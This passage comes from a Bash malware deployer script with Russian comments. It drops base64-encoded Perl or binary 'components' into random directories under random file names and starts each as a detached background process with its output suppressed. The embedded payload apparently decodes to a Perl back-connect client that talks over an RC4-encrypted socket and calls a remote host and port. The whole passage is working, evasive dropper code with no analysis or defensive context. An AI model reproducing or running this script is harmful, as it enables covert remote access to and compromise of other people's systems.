    echo "[RUNNER] Компонент #63 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..."
    (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) 
else
    echo "[RUNNER] Компонент #63 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..."
    (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) 
fi

if [ "$first_run" = true ]; then first_run=false; else
    echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..."
    sleep $PAUSE_SECONDS; fi

# --- Подготовка и запуск компонента 64 ---
DEPLOY_DIR=${candidate_dirs[$dir_index]}
PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8)
EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOA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AkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0
OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh
LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy
ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ
CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n
NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg
MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg
MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp
KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg
Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr
KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4
aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg
XCRwb3J0KTsK
BINARY_EOF
chmod +x "$EXTRACTED_FILE"
RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH)
# Определяем тип файла по первой строке (shebang)
first_line=$(head -n 1 "$EXTRACTED_FILE")
if [[ "$first_line" == *"perl"* ]]; then
    echo "[RUNNER] Компонент #64 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..."
    (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) 
else
    echo "[RUNNER] Компонент #64 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..."
    (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) 
fi

# --- КОНЕЦ ПОСЛЕДОВАТЕЛЬНОСТИ ЗАПУСКА ---
echo "---"
echo "[RUNNER] Все компоненты отправлены в фоновый режим."
echo "[RUNNER] Скрипт-деплоер завершает свою работу."
exit 0
